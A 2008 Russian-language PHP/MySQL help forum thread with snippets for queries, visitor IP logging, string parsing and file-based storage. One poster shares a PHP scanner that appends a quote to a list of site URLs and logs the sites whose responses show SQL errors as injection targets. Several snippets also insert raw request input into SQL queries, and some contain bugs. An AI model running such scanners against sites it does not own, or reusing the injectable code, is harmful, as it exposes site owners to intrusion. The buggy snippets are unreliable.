как в WHERE указать несколько параметров?
что-то вроде:
SELECT * FROM `table` WHERE `id` = 1, 2, 3
то исть выборку осуществлять только с указанными id.
понятно что этот код не работает, а очень хотелось бы всю эту дрянь получить одним запросом. В доках ничего полезного не нашёл...
сейчас для этой цели юзаю цикл.
Попробуй такой
mysql_query ("SELECT * FROM table ORDER BY id DESC LIMIT $query");
В переменной $query укажи число и он прогонит все id до этого числа!

.:EnoT:.
28.07.2008, 18:56
~NeiTRoN~
да эт не то...я б давно лимитом вывел если б id-шники были упорядоченными....а они могут быть например 1, 20, 8, 96, 47...

Isis
28.07.2008, 18:59
.:EnoT:., модератор может сам будет задавть вопросы по SQL в соотв.теме?

AND AND AND юзай

~NeiTRoN~
28.07.2008, 19:02
~NeiTRoN~
да эт не то...я б давно лимитом вывел если б id-шники были упорядоченными....а они могут быть например 1, 20, 8, 96, 47...
А от чего зависят эти ид, тоесть меняются ли эти id или есть определенный порядок 1, 20, 8, 96, 47 который не меняется и всегда он запрашивается?

.Slip
28.07.2008, 19:03
Да нет чтобы применить limit нужно этих данных ещё набрать.
Я говорю отом что при добавлении комментариев во всех системах в базу каждый раз добавляется id чего то и поиск ведётся по всей базе при выборке именно по нему.
А если бы он был один то как бы снизилась нагрузка!!
Что за бред? Причём тут нагрузка? Какой поиск? В БД вообще то существует индексация.
Если показ всех постов то
SELECT post FROM tbl1

Показ постов для конкретного юзера:
SELECT post FROM tbl1 WHERE userd_id='...'

Вывод определённого комментария:
SELECT user_id, post FROM tbl1 WHERE user_id='...'

Пойми для начала принцип работы базы данных. Не надо писать бред про нагрузку и прочее

.:EnoT:.
28.07.2008, 19:20
.:EnoT:., модератор может сам будет задавть вопросы по SQL в соотв.теме?

нет не может, т.к. считает что вопрос по связке php+mysql вполне нормально задавать в теме php.
AND AND AND юзай
Абалдеть ты умный, или ты думаешь, что я не попробовал с первого раза использовать and?
Ну посмотри к примеру результат этого запроса:
$q = mysql_query("select `id` from `table` where `id` ='1' and `id` = '5'");
echo mysql_num_rows($q);
даже новичку будет понятно что результат будет равен 0

~NeiTRoN~
Они могут быть совершенно любые и в любом порядке.

~NeiTRoN~
28.07.2008, 19:30
Они могут быть совершенно любые и в любом порядке.
А каким методом это список формируется?? пост, гет, берется из базы или из файла или может еще как???

Naydav
28.07.2008, 19:53
нет не может, т.к. считает что вопрос по связке php+mysql вполне нормально задавать в теме php.

Абалдеть ты умный, или ты думаешь, что я не попробовал с первого раза использовать and?
Ну посмотри к примеру результат этого запроса:
$q = mysql_query("select `id` from `table` where `id` ='1' and `id` = '5'");
echo mysql_num_rows($q);
даже новичку будет понятно что результат будет равен 0

~NeiTRoN~
Они могут быть совершенно любые и в любом порядке.

1) Юзай не AND, а OR
select `id` from `table` where `id` ='1' or id` = '5'
2) select `id` from `table` where `id` IN ( множество )
select `id` from `table` where `id` IN (1, 5)
множество можно получать и подзапросом

heretic1990
28.07.2008, 20:19
подскажите скрипт который записывает Ip юзера и время перехода по ссылке, очень надо.
за полезную инфу буду благодарен!

~NeiTRoN~
28.07.2008, 20:29
подскажите скрипт который записывает Ip юзера и время перехода по ссылке, очень надо.
за полезную инфу буду благодарен!
Пожалуйста
<?
$time = time ("формат времени");
mysql_query ("INSERT INTO таблица (time, host) values ('$time', '$ip') ");
?>

heretic1990
28.07.2008, 20:33
~NeiTRoN~
а как он работает? через бд?

5triker
28.07.2008, 20:36
а можно еще
$ip=$_SERVER['REMOTE_ADDR'];
сделать чтоб не пустоту записывало =)

~NeiTRoN~
28.07.2008, 20:37
~NeiTRoN~
а как он работает? через бд?
Да через базу! База элементарная!
Кстати я ссылки не учел, вот скрипт с сылками
<? $time = time ("формат времени"); mysql_query ("INSERT INTO таблица (time,ssilka, host) values ('$time','$_SERVER[SCRIPT_NAME]', '$ip') "); ?>

~NeiTRoN~
28.07.2008, 20:38
Если с базой устроет могу дать sql запрос на ее создание

heretic1990
28.07.2008, 20:47
да мне без бд надо.
ещё раз повторюсь: неужен такой скрипт который запишит Ip и время перехода по ссылке в текстовый файл
чтото на подобие : Статистика кликов рекламы wmlink.ru , и других подобных сайтов

чтото вроде этого только считает не общую статистику, а перехода по ссылке
[PHP]<?php
$ip=getenv("REMOTE_ADDR");
$datetime=date("m/d/y G.i:s", time());
$os=getenv("HTTP_USER_AGENT");
$host=getenv("REMOTE_HOST");
$page=getenv("HTTP_REFERER");
$fp=fopen("visitors.txt", "a+");
fputs($fp, "<b>Дата:</b> $datetime <b>ip:</b> $ip <b>версия браузера:</b> $os <b>host:</b> $host <b>страница:</b> $page<br>\r\n");
fclose($fp);
?>[QUOTE]

bomber
28.07.2008, 20:51
всем хай:)

такая проблемка возникла, на сайте есть rss-лента, в ней отображаются новости с картинками, картинки бывают с другого сайта так и со своего, в базе адрес до картинки хранится относительный и при генерации ленты, чтобы при просмотре отбражались картинки нужно сделать так:

$rimg = str_replace("img", "http://sait.net/img", $rimg);

img - это папка на моем сайте с картинками, тоисть, если в адресе другого сайта есть слово img, то это херня =0

поэтому нужно делать такую замену только тогда, когда в адресе картинки есть - http://

хелп ме (:

~NeiTRoN~
28.07.2008, 20:59
да мне без бд надо.
ещё раз повторюсь: неужен такой скрипт который запишит Ip и время перехода по ссылке в текстовый файл
чтото на подобие : Статистика кликов рекламы wmlink.ru , и других подобных сайтов

чтото вроде этого только считает не общую статистику, а перехода по ссылке
[PHP]<?php
$ip=getenv("REMOTE_ADDR");
$datetime=date("m/d/y G.i:s", time());
$os=getenv("HTTP_USER_AGENT");
$host=getenv("REMOTE_HOST");
$page=getenv("HTTP_REFERER");
$fp=fopen("visitors.txt", "a+");
fputs($fp, "<b>Дата:</b> $datetime <b>ip:</b> $ip <b>версия браузера:</b> $os <b>host:</b> $host <b>страница:</b> $page<br>\r\n");
fclose($fp);
?>
Сейчас попробую накатать!!!

~NeiTRoN~
28.07.2008, 21:06
Помойму должен работать:
<? $ip=(isset($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:0; $time=time('формат'); $vse= "$ip|$time"; $fp=fopen("test.txt"); fwrite($fp,$vse); ?>

5triker
28.07.2008, 21:07
не небудет работать
$fp=fopen("test.txt"); режим не указан

Jer1cho
28.07.2008, 21:08
всем хай:)

такая проблемка возникла, на сайте есть rss-лента, в ней отображаются новости с картинками, картинки бывают с другого сайта так и со своего, в базе адрес до картинки хранится относительный и при генерации ленты, чтобы при просмотре отбражались картинки нужно сделать так:

$rimg = str_replace("img", "http://sait.net/img", $rimg);

img - это папка на моем сайте с картинками, тоисть, если в адресе другого сайта есть слово img, то это херня =0

поэтому нужно делать такую замену только тогда, когда в адресе картинки есть - http://

хелп ме (:

<?php
if(eregi('http://', $rimg))
{
$rimg = str_replace("img", "http://sait.net/img", $rimg);
}
else
{
........
}
?>


http://php.net/eregi

agrofyl2
28.07.2008, 21:10
heretic1990 есть скрипт у меня самописный для статистики моего сайта.
Переделал для статистики кликов:

Файл статистики.

<?php
$a=htmlspecialchars(stripslashes($_GET['ref']));
$sav_f='Z:\home\localhost\www\statistic.txt';
$fo=fopen($sav_f, "a");
$data=strftime('%d.%m.%y %H:%M:%S').'^^'.$_SERVER['REMOTE_ADDR'].'^^'.$_SERVER['HTTP_REFERER'].'^^'.$_SERVER['HTTP_USER_AGENT'].'^^'.$_SERVER['QUERY_STRING'].'^^'.$a."\n";
fwrite($fo, $data);
?>

Файл для чтения статистики.
<?php
$fs='statistic.txt';
$stat_line=explode("\n", fread(fopen($fs, 'r'), filesize($fs)));
echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /><title>Статистика скачивания файлов</title><style type="text/css"><!--.style2 {font-size: 80%}--></style></head><body><h2 align="center">Статистика посещений сайта</h2>
<h4 align="center">Посетителей '.(count($stat_line)).'</h4>
<table align="center" width="930" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="119" height="20" align="center" valign="middle" class="style2">Дата</td>
<td width="121" align="center" valign="middle" class="style2">IP - адрес </td>
<td width="230" align="center" valign="middle" class="style2">Referer</td>
<td width="215" align="center" valign="middle" class="style2">Браузер</td>
<td width="156" align="center" valign="middle" class="style2">Строка запроса</td>
<td width="156" align="center" valign="middle" class="style2">Номер реферала</td>
</tr>
';
foreach($stat_line as $line) {
$one=explode('^^', $line);
echo '<tr>';
foreach($one as $on) echo '<td width="119" height="20" align="center" valign="middle" class="style2">'.$on.'</td>';
echo '</tr>';}
echo '</table></body></html>';
exit();
?>


Реф. ссылка, если сам не догадался - http://site/script.php?refer=999

П.С. Это только запись статистики, подсчитаешь уж сам.

~NeiTRoN~
28.07.2008, 21:11
не небудет работать
$fp=fopen("test.txt"); режим не указан
Ах да пардон
<? $ip=(isset($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:0; $time=time('формат'); $vse= "$ip|$time"; $fp=fopen("test.txt","a"); fwrite($fp,$vse); ?>

heretic1990
28.07.2008, 21:18
agrofyl2
я в PHP новичёк, как это реализовать, можно поконкретней
P.S. не сочтите за дауна :)

agrofyl2
28.07.2008, 21:25
heretic1990, я не понял, что нужно реализовать:

Даеш. ссылу, они кликают.

Сосчитать можно: взять реф. номера(или что там тебе нужно, IP), сосчитать с помощью array_count_values(прочитай в док-ции), вывести. Типа:
по такой реф. ссыле(или IP) проследовало столько-то человек,
по такой - то - столько то.

А тут уж сам думай.
П.С.:
Извини - времени на бесплатное написание скриптов другим у меня нет, пишу для себя. Если помог - хорошо, нет -дописывай сам)))

ППС:
ссылка script.php?ref=номер пользователя(или имя),
, название задается в $_GET['ref'] если помнишь.

~NeiTRoN~
28.07.2008, 21:42
ППС:
ссылка script.php?ref=номер пользователя(или имя),
, название задается в $_GET['ref'] если помнишь.
heretic1990
А если проще, присвой каждой своей ссылке индивидуальный идентификатор и будет тебе счастье(формат индентификатора agrofyl2] четко назвал)

superboys
29.07.2008, 01:37
Привет всем это опять я, мне разъяснили как обычные значения отсюда тянуть http://www.evolutions.ru/api/api_inf.php?Uname=pozitiv а как тянуть эту строку Thing::1146402::5::ko_a1::Кольцо черного рыцаря::3830.90::64::32::32::32::32::0::10:: 10::10::385::68::133::146::121::146::121::121::121 ::121::121::19::385::art::39::0::0 и чтоб главное чтоб не всё бралось а только нужное мне, возможно можно реализовать чтоб это преобразовывалось в массив и я мог тянуть нужные значения помогите.
З.Ы. значения везде разные нужно чтоб я только указывал номер типа Thing::номерыещи(любой::номер слота(я должен указать).
А дальше чтоб подсчитывал строки и тянул нужную

Whirt
29.07.2008, 01:57
$str = "Thing::1146402::5::ko_a1::Кольцо черного рыцаря::3830.90::64::32::32::32::32::0::10:: 10::10 ::385::68::133::146::121::146::121::121::121::121: :121::19::385::art::39::0::0";
$thing = explode("::", $str);
echo $thing[0]; //Thing
echo $thing[1];//1146402
echo $thing[5];//Кольцо черного рыцаря


Ну ты понял :)

superboys
29.07.2008, 03:41
Ну это на то чтобы только на этого юзера а если я поменяю и там таких строк не будет?

Whirt
29.07.2008, 04:13
Не правильно ты понял. Загружай любую строку туда, и разделитель укажи в коде. В данном примере - это ::. И все будет отображаться.

superboys
29.07.2008, 08:12
Ох. Дай обьясню я подключаю файл к серверу и ввожу никнэйм юзера прога рвёт оттуда значения которые я указал мне надо указать thing и определённую строку для подсчёта, а не вводить туда один и тот же результат понял?

Zircool
29.07.2008, 11:28
Добрый день.. Вот написал тут сканер сайтов на уязвимость MySQL скрипт достаточно простой...
<html>
<head>
<style>
body
{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:11px;
text-align:center;
color:#B9B9BD;
}
a:link, a:hover, a:visited
{
color:#B9B9BD;
text-decoration: none;
}
input
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
textarea
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
form
{
padding:10px;
border:1px solid #666;
width:400px;
margin:0 auto;
}
</style>
<title>MySQL scanner</title>
</head>
<body>
<?php
// By Zircool



error_reporting (0);

if(set_time_limit(0))
{
set_time_limit(0);
ignore_user_abort(1);
$limit = true;
}


Error_Reporting(E_ALL & ~E_NOTICE);
print('<form method="POST">');
print(" Скрипт сканирует сайты на наличие в них уязвимости MySQL injection ");
print('</br>' );
print('</br>' );
print('<textarea style="overflow:hidden;" rows="15" cols="45" name="sites"></textarea>'."<br />\r\n");
print('</br>' );
print('<input type="submit" name="sub" value=" Go! " />'."<br />\r\n");
print('</form>');
print('</br>' );



if(isset($_POST['sub']))
{

$result="";
$sites=$_POST['sites'];
$sites=explode("\r\n", trim($sites));
foreach($sites as $site)
{

$url=$site."'";

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, TRUE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, "MSIE 7.0");
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
$text = curl_exec($ch);
curl_close($ch);

$host=parse_url($url);
$host=$host['host'];
echo "Выполняеся проверка сайта &nbsp; ".$host."<br>";


$substr_count = substr_count($text,"SQL");

if ($substr_count > 0)
{

echo ("<font color=#FF8040>".$site."</font><br>");
}


Sleep(2);

}








}

?>
</body>
</html>


Припчип такой в поле textarea загружаешь список сайтов где вкончем занадо значение переменной и пошла поехали... Вот только проблема, загружаю список сайтов и начинаю проверку, скрипт проверяет все рсайты лишь потом выводит результат, как можно сделать что бы скрипт проверял 1 сайт из списка и выводил результат, затем другой и т.д.

BlackSun
29.07.2008, 11:40
После echo добавь flush();

Zircool
29.07.2008, 11:57
Что то не выходит, так же выводит одним списком, а не по очереди ((((((

BlackSun
29.07.2008, 12:06
ob_flush(); flush();

Zircool
29.07.2008, 12:42
А можно пример с моим кодом?
Вот немного его изменил.. Теперь чтение происходит из файлов...


<html>
<head>
<style>
body
{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:11px;
text-align:center;
color:#B9B9BD;
}
a:link, a:hover, a:visited
{
color:#B9B9BD;
text-decoration: none;
}
input
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
textarea
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
form
{
padding:10px;
border:1px solid #666;
width:400px;
margin:0 auto;
}
</style>
<title>MySQL scanner</title>
</head>
<body>
<?php
// By Zircool



error_reporting (0);

if(set_time_limit(0))
{
set_time_limit(0);
ignore_user_abort(1);
$limit = true;
}

$config["LISTTXT"] = "list.txt";
$config["GOODTXT"] = "good.txt";

if(isset($_GET["clean_list"]))
{
$pf = fopen($config["LISTTXT"], "w");
fclose($pf);
print "<a href='index.php'>Done!</a>";
die;
}

if(isset($_GET["clean_good"]))
{
$pf = fopen($config["GOODTXT"], "w");
fclose($pf);
print "<a href='index.php'>Done!</a>";
die;
}

Error_Reporting(E_ALL & ~E_NOTICE);
print('<form method="POST">');
print(" Скрипт сканирует сайты на наличие в них уязвимости MySQL injection ");
print('</br>' );
print('</br>' );
print "<a href=\"".$config["LISTTXT"]."\"><B>LIST.TXT</B></a> - ".count(file($config["LISTTXT"]))." - <a href='index.php?clean_list=1'>clean</a>";
print(' &nbsp;&nbsp;&nbsp;&nbsp; ' );
print "<a href=\"".$config["GOODTXT"]."\"><B>GOOD.TXT</B></a> - ".count(file($config["GOODTXT"]))." - <a href='index.php?clean_good=1'>clean</a><br><br>";
print('</br>' );
print('<input type="submit" name="sub" value=" Go! " />'."<br />\r\n");
print('</form>');
print('</br>' );



if(isset($_POST['sub']))
{
ob_get_contents();
$sites=file('list.txt');
foreach($sites as $site)
{

$url=$site."'";

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, TRUE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, "MSIE 7.0");
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
$text = curl_exec($ch);
curl_close($ch);

$host=parse_url($url);
$host=$host['host'];
echo "Выполняеся проверка сайта &nbsp; ".$host."<br>";



$substr_count = substr_count($text,"SQL");

if ($substr_count > 0)
{
$goodfopen = fopen($config["GOODTXT"], "a+");
fwrite($goodfopen, $site);
fclose($goodfopen);


}


ob_flush();


}








}

?>
</body>
</html>

Zedi
29.07.2008, 14:51
Напиши еще каким браузером пользуешься, если осел то он может не выводить даже из-за таблицы, посмотри во время загрузки страницы код если он есть а еще ничего не вывелось значит таблица или еще че то.

Zedi
29.07.2008, 14:54
Попробуй убрать все таблицы, и вообще все не нужное убери оставь только главное и пробуй, после эчо ставь флаш обязательно

Whirt
29.07.2008, 15:30
Ох. Дай обьясню я подключаю файл к серверу и ввожу никнэйм юзера прога рвёт оттуда значения которые я указал мне надо указать thing и определённую строку для подсчёта, а не вводить туда один и тот же результат понял?

уважаемый, ты либо код давай, либо подробнее объясняй, а практически при отсутствии знаков препинания, здесь очень сложно улавливается смысл.

Как я понял, тебе нужно циклически считать строки в массив, отсчитать n-ную строку с разделителями ::, и выбрать имя юзера из нее ?

superboys
30.07.2008, 02:52
уважаемый, ты либо код давай, либо подробнее объясняй, а практически при отсутствии знаков препинания, здесь очень сложно улавливается смысл.

Как я понял, тебе нужно циклически считать строки в массив, отсчитать n-ную строку с разделителями ::, и выбрать имя юзера из нее ?
Я подключаю этот файл:http://www.evolutions.ru/api/api_inf.php?Uname= то есть кода вожу в форму она добавляет к этой строке имя юзера, все строки я нормально вывожу но эту Thing мне надо не полностью а только чтоб я ввёл Thing::(тег пропуска ну тут то есть может быть что угодно, пробывал ставить 0 и _)::(тут ввожу номер там их с 0 по 13 и каждый нужно ввести) мне обязательно нужно чтоб каждую строку в отдельности можно было обрабатывать для вычисления

BlackSun
30.07.2008, 02:57
А по русски?

superboys
30.07.2008, 03:06
Вот мой код подключения к тому файлу и ввода нэйм юзера <? Error_Reporting(E_ALL & ~E_NOTICE); DEFINE ("SITE","www.evolutions.ru"); if (isset($_GET['form_sub']) and $_GET['form_sub']!="") { $link="/api/api_inf.php?Uname=".$_GET['nick']; $fp = fsockopen(SITE, 80, $errno, $errstr, 30); if (!$fp) {echo "$errstr ($errno)<br />\n";} else { $file=""; $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: ".SITE."\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { $file.=fgets($fp, 4096); } fclose($fp); } } $file=strstr($file,"UserID"); $file=explode ("\n",$file); foreach ($file as $a) { $str_ex=explode ("::",$a); $values[strtolower($str_ex[0])]=$str_ex[1]; } ?> <body background="fon_white.jpg"> <form method=GET> <img src="nick.gif"><input type=text name=nick src=fon_dark.jpg><input type=submit name=form_sub value="Начать вычисление"> </form> <?php $nick = strip_tags($nick); ?>

Хацкер
30.07.2008, 05:01
Может ли кто-нибудь обьяснить как прикручивать прокси к скрипту? На примере каком-нибудь и описании...

BlackSun
30.07.2008, 05:06
Может ли кто-нибудь обьяснить как прикручивать прокси к скрипту? На примере каком-нибудь и описании...
Если к примеру GET запрос отсылаешь (fopen($host ...), то вместо хоста укажи прокси, а в запросе незабудь указать Host:

Хацкер
30.07.2008, 05:12
Если к примеру GET запрос отсылаешь (fopen($host ...), то вместо хоста укажи прокси, а в запросе незабудь указать Host:


А если к примеру post?

BlackSun
30.07.2008, 05:14
Разницы нет

inlanger
30.07.2008, 14:54
Интересный прикол со страницей. Есть сайт, состоящий из большого количества страниц(около 2к), и только на одной из них значение session_id() отличное от других страниц... И именно на этой странице слетает авторизация из-за этого.
Блок кода с авторизацией и проверкой session_id() один на весь сайт, подключается инклудом. Было такое у кого-нибудь?


В общем, как понял - только на одной странице сайта почему-то свой sess_id, а на других - свой...

svesve
30.07.2008, 15:34
Есть такой вопросик

есть 6 человек каждый из них дежурит в определенный день
тоесть
1 пн
2 вт
3 ср
4 чт
5 пт

6 пн
1 вт и т.д

Каким макаром можно реализовать вывод того кто работает исходя из текущего дня?
ладно было бы их 5 а вот с 6 вообще не могу сообразить ))))

inlanger
30.07.2008, 15:45
Это не ты на 4pda.ru Такую прогу просил?

svesve
30.07.2008, 15:55
не не я....
просто сижу уже час туплю не пойму как реализовать

~NeiTRoN~
30.07.2008, 16:12
Есть такой вопросик

есть 6 человек каждый из них дежурит в определенный день
тоесть
1 пн
2 вт
3 ср
4 чт
5 пт

6 пн
1 вт и т.д

Каким макаром можно реализовать вывод того кто работает исходя из текущего дня?
ладно было бы их 5 а вот с 6 вообще не могу сообразить ))))
Запускай цикл который будет прибалять каждый раз значение и переводить человека с одного дня на другой!

Zedi
30.07.2008, 16:12
Указываешь дату в которой 1 работает в понедельник, высчитываешь исходя из той даты и сегодняшней сколько прошло недель, высчитаваешь и выводишь, если сам не можешь написать напиши я сделаю, а так можешь в асю 592478.

Хацкер
30.07.2008, 17:21
Кто-нибудь может мне дать пример блокнота двух версий одну с БД а другую на файлах? Нужно для обучения =))

5triker
30.07.2008, 17:32
а лучше напиши для 5 людей скрипт и допиши

echo rand(1,6)."тебе повезло на етой неделе";

~NeiTRoN~
30.07.2008, 17:36
Кто-нибудь может мне дать пример блокнота двух версий одну с БД а другую на файлах? Нужно для обучения =))
Всмысле блокнота??? Просто скрипт который заносит данные и выводит или че???

Хацкер
30.07.2008, 17:41
Всмысле блокнота??? Просто скрипт который заносит данные и выводит или че???


Да =)

~NeiTRoN~
30.07.2008, 17:53
Да =)
Вот элементарный с базой:

<?
if(isset($_POST['submit']))

mysql_query ("INSERT INTO таблица (text) values ( '$_POST[text]' )");

echo "
<form name=\"Reg\" action=ссылка обработчика method=\"post\">
<label for=\"text\">Текст:<br /><font size='1'><input name=\"text\" class=\"text\" type=\"text\" value=\"\"><br />
<div align='center'><input class='button' type=\"submit\" name=submit value=\" OK \"></div>
";
$get = mysql_query ("SELECT text FROM таблица);
while ($test = mysql_fetch_array($get) )
{
print $faq[text];
}

?>
В данном скрипте обработчик встроен сюдаже так что ссылку на этот скрипт!Ну естественно не забудь конект с базой

BlackSun
30.07.2008, 17:54
На файлах:

$db = 'MyData';
$file = file($db);
$count = count($file);
echo "Rows: ".$count."\r\n<br>";
for ($i = 0; $i < $count; $i++)
{
echo $file[$i]."\r\n<br>";
}


На мускуле:

$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = 'toor';
$dbname = 'db';
mysql_connect($dbhost, $dbuser, $dbpass) or die("Can't connect to MySQL.");
mysql_select_db($dbname) or die("Can't select Db.");
$result = mysql_query("SELECT * FROM test");
if ($result)
{
while($row = mysql_fetch_array($result))
{
echo $row['id']."-".$row['time']."\r\n<br>";
}
}
mysql_close();

Хацкер
30.07.2008, 18:04
Спасиба вам =)

~NeiTRoN~
30.07.2008, 18:08
Спасиба вам =)
НЗ
З.Ы. в том скрипте что я запостил перед while надо if ($get){
и в конец самый }

Хацкер
30.07.2008, 18:12
НЗ
З.Ы. в том скрипте что я запостил перед while надо if ($get){
и в конец самый }


Добавил вечером попробую..

5triker
30.07.2008, 18:17
~NeiTRoN~
такое чуство что ты никогда не слышал о том что " нада закрывать
и ключ массива писать так ['key']
и тут

while ($test = mysql_fetch_array($get) )
{
print $faq[text];
}

помойму в print нада писать $test а не $faq (откуда ты взял $faq вопще загадка)

Хацкер
30.07.2008, 18:21
~NeiTRoN~
такое чуство что ты никогда не слышал о том что " нада закрывать
и ключ массива писать так ['key']
и тут

while ($test = mysql_fetch_array($get) )
{
print $faq[text];
}

помойму в print нада писать $test а не $faq (откуда ты взял $faq вопще загадка)


А я даже не увидел куда писать хост, пароль, имя пользователя)

~NeiTRoN~
30.07.2008, 18:24
~NeiTRoN~
такое чуство что ты никогда не слышал о том что " нада закрывать
и ключ массива писать так ['key']
и тут

while ($test = mysql_fetch_array($get) )
{
print $faq[text];
}

помойму в print нада писать $test а не $faq (откуда ты взял $faq вопще загадка)
" НЕ закрыл так как просто недопечатал.
$faq потомучто я взял кусок из своего скрипта(faq.php) просто не заметил и не поменял
а насчет ключа у меня и без '' все идеально рабит!

5triker
30.07.2008, 18:24
да там просто кусок откуда то выдраный и даже имена переменных криво изменены

где то без '' работает а где то это будет еррор и скрипт будет криво пахать либо вопще не пахать

~NeiTRoN~
30.07.2008, 18:26
А я даже не увидел куда писать хост, пароль, имя пользователя)
$msqldb= "";
$msqllogin = "";
$msqlpassword = "";
$msqlhost = "";
вот суда пиши
to 5triker
Может только в некоторых случаях! Если такое случится просто добавит туда куда надо и все! В том скрипте что я запостил и без '' выводит!

5triker
30.07.2008, 18:28
а сам коннект там походу и ненужен )

~NeiTRoN~
30.07.2008, 18:29
а сам коннект там походу и ненужен )
Почему?

5triker
30.07.2008, 18:31
почему я хз но там его как бы нету )

Хацкер
30.07.2008, 18:31
$msqldb= "";
$msqllogin = "";
$msqlpassword = "";
$msqlhost = "";
вот суда пиши
to 5triker
Может только в некоторых случаях! Если такое случится просто добавит туда куда надо и все! В том скрипте что я запостил и без '' выводит!


Поверь с моими знаниями, даже я понимаю что этого будет мало)))))))))) :D :D :D

Хацкер
30.07.2008, 18:34
Вот этого нехватает

mysql_connect($dbhost, $dbuser, $dbpass) or die("Can't connect to MySQL.");
mysql_select_db($dbname) or die("Can't select Db.");

С другими переменными правда. (взято из скрипта BlackSun)

~NeiTRoN~
30.07.2008, 18:36
почему я хз но там его как бы нету )
Надо, просто я думал что это и так понятно:
mysql_connect($msqlhost, $msqllogin, $msqlpassword) or die ("
Не конектится=)
");
mysql_select_db ($msqldb) or die ("
НЭТУ БАЗЫ");

5triker
30.07.2008, 18:43
мне понятно а хацкеру который и просил скрипт не понятно ниразу )

Хацкер
30.07.2008, 18:44
мне понятно а хацкеру который и просил скрипт не понятно ниразу )


;) я же недавно начал =)

~NeiTRoN~
30.07.2008, 18:46
мне понятно а хацкеру который и просил скрипт не понятно ниразу )
Ну все сейчас есть конект=)

lmns
30.07.2008, 21:33
Помогите с дибильным скриптом, нужно просто..
в одном скрипте, некой переменной $H присваивается значение IP адреса 8*.118.102.154
Нужно, открыть файл log.txt, найти там эту строчку, и переменной $Z присвоить то значение, которое находится на одну строчку выше значения IP.

т.е. если в файле есть
aaa
bbb
8*.118.102.154
qqqq

Нужно $Z присвоить bbb

5triker
30.07.2008, 22:00
<?
$file="1.txt";
$H="bbb"; //если переменной уже присвоили значение удали ету строку
$fp=fopen($file,"r");
$i=0;
while (!feof($fp))
{
$string=fgets($fp, 1024);
$string=str_replace("\r","",$string);
$string=str_replace("\n","",$string);
if ($H == $string){break;}
$i++;
}
$f=file($file);
$Z=$f[$i-1];
?>

svesve
30.07.2008, 23:49
Указываешь дату в которой 1 работает в понедельник, высчитываешь исходя из той даты и сегодняшней сколько прошло недель, высчитаваешь и выводишь, если сам не можешь написать напиши я сделаю, а так можешь в асю 592478.

??? стукни мне в аську плиз 8000909

superboys
31.07.2008, 01:27
Кто мне помможет
Я подключаю этот файл:http://www.evolutions.ru/api/api_inf.php?Uname= то есть когда вожу в форму она добавляет к этой строке имя юзера, все строки я нормально вывожу но эту Thing мне надо не полностью а только чтоб я ввёл Thing::тут мне нужен нулевой результат тут может быть что угодно::тут ввожу номер там их с 0 по 13 и каждый нужно ввести, мне обязательно нужно чтоб каждый результат из синга с номером вещи в отдельности можно было обрабатывать для вычисления

prescott
31.07.2008, 02:01
Кто мне помможет
Я подключаю этот файл:http://www.evolutions.ru/api/api_inf.php?Uname= то есть когда вожу в форму она добавляет к этой строке имя юзера, все строки я нормально вывожу но эту Thing мне надо не полностью а только чтоб я ввёл Thing::тут мне нужен нулевой результат тут может быть что угодно::тут ввожу номер там их с 0 по 13 и каждый нужно ввести, мне обязательно нужно чтоб каждый результат из синга с номером вещи в отдельности можно было обрабатывать для вычисления

я помогу тебе нада строку тинг вывести туда но вот туда не выводить чтоб 0-13 в отдельности все вещи показать чтобы в строке ?Uname= через форму все показать

ЗЫ: расставь знаки препинания хотяб, это ж не один шифровщик не осилит =) И объясни попонятнее логику

superboys
31.07.2008, 02:28
Тупо: мне надо брать значения в строке синг, но не все и надо указывать номер слота вещи, с 0 до 13, + надо поставить какой нибудь знак что номер вещи у каждого юзера разный и чтоб номер сам подставлялся если нужно, а так мне надо сделать чтоб я подсчитывал номер строки и из синга с номером вещи брал нужный мне результ

Avant
31.07.2008, 11:24
$time=microtime(true);
printf("С начала эпохи Unix: %f секунд.", $time);
Вот код мне надо узнать что это за фишка с %f, как это тема называется или линк киньте почитать про это:)

Naydav
31.07.2008, 11:36
Вот код мне надо узнать что это за фишка с %f, как это тема называется или линк киньте почитать про это:)
Это называеться форматированный вывод
f - аргумент трактуется как float и выводится в виде десятичного числа с плавающей точкой

Сама функция:
_http://php.su/functions/?printf

Описание строк формата:
_http://php.su/functions/?sprintf

mff
31.07.2008, 11:38
printf — Выводит отформатированную строку

Описание
int printf ( string $format [, mixed $args] )
Выводит строку, отформатированную в соответствии с аргументом format, описанном в документации функции sprintf().

sprintf — Возвращает отформатированную строку

Описание
string sprintf ( string $format [, mixed $args] )

Возвращает строку, созданную с использованием строки формата format.

Строка формата состоит из директив: обычных символов (за исключением %), которые копируются в результирующую строку, и описатели преобразований, каждый из которых заменяется на один из параметров. Это относится также к fprintf(), sprintf() и printf().

Каждый описатель прреобразований состоит из знака процента (%), за которым следует один или более дополнительных элементов (в том порядке, в котором они здесь перечислены):

